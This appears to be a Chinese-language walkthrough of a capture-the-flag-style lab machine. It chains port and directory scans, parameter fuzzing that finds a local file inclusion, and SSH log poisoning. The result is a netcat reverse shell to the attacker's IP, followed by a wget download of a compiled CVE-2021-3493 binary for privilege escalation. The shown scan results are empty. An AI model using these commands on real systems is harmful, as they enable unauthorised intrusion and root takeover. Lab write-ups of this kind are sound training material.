靶机ip:172.16.33.18
突破
端口扫描
sudo nmap -p- 172.16.33.18 --open
结果如下:
特定端口扫描
sudo nmap -p22,80 172.16.33.18 -sV -A
结果如下:
针对80端口
对其进行路径扫描:
dirsearch -u http://172.16.33.18
结果如下:
对其进行文件扫描:
dirsearch -u http://172.16.33.18 -f -e txt,php,html.pdf
结果如下:
查看/console路径,发现file.php:
考虑搜索其是否有隐藏参数:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:PARAM -w /usr/share/seclists/Fuzzing/UnixAttacks.fuzzdb.txt:VAL -u http://<目标机ip>/console/file.php?PARAM=VAL -fs 0
结果如下,发现本地文件包含漏洞:
查看是否有ssh登录的日志文件/var/log/auth.log,存在:
考虑通过ssh登录的方式将脚本植入日志,为防止ssh登录屏蔽脚本,找到.ssh/config文件
cd ~
vi .ssh/config
写入脚本:
尝试用target登录在日志文件里留下脚本,密码直接Enter即可:
ssh target
直接在URL处输入cmd脚本:
http://172.16.33.18/console/file.php?file=/var/log/auth.log&cmd=nc <本地ip> 1234 |/bin/bash| nc <本地ip> 2345
做好两个端口的监听,之后访问URL,突破成功。
提权
升级终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
通过CVE-2021-3493提权
查看系统版本(Ubuntu18.04+Linux4.15+64位系统),可使用CVE-2021-3493
开始传输,先到/tmp目录,之后通过wget将在本地机上编译好的执行文件下载下来,并增加一个执行权限
cd /tmp
wget http://<本地ip>/<编译好的文件名>
chmod +x <编译好的文件名>
本地端记得开启传输:
sudo python -m http.server 80
执行脚本
提权成功,打靶完成。